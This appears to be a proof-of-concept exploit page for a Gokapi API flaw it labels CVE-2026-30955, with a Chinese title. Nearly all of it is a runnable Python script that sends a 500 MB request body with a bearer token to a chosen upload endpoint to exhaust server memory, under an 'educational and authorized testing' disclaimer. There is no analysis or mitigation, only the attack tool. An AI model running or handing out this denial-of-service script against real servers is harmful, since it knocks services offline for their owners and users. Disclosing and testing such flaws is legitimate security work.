CVE-2026-30955: Gokapi API无限制请求体导致拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-30955 PoC - Gokapi Unbounded Request Body DoS Note: This is for educational and authorized testing purposes only. """ import requests import sys import argparse def create_large_payload(size_mb): """Generate a large payload of specified size in MB""" return b'\x00' * (size_mb * 1024 * 1024) def exploit_gokapi_dos(target_url, api_path, auth_token): """ Exploit CVE-2026-30955 by sending unbounded request body to trigger OOM and service disruption """ headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'application/octet-stream' } # Try to send a very large payload (adjust size based on target memory) payload_size = 500 # MB - adjust based on target server memory print(f'[*] Generating {payload_size}MB payload...') payload = create_large_payload(payload_size) full_url = f'{target_url.rstrip("/")}/{api_path.lstrip("/")}' print(f'[*] Sending malicious request to {full_url}') print(f'[*] Payload size: {len(payload)} bytes') try: response = requests.post( full_url, headers=headers, data=payload, timeout=300 ) print(f'[!] Response status: {response.status_code}') return True except requests.exceptions.RequestException as e: print(f'[*] Request completed (connection may have been dropped): {e}') return True if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2026-30955 PoC') parser.add_argument('-t', '--target', required=True, help='Target Gokapi server URL') parser.add_argument('-p', '--path', default='api/v1/upload', help='API endpoint path') parser.add_argument('-k', '--token', required=True, help='Authentication token') args = parser.parse_args() print('[+] CVE-2026-30955 - Gokapi Unbounded Request Body DoS') exploit_gokapi_dos(args.target, args.path, args.token)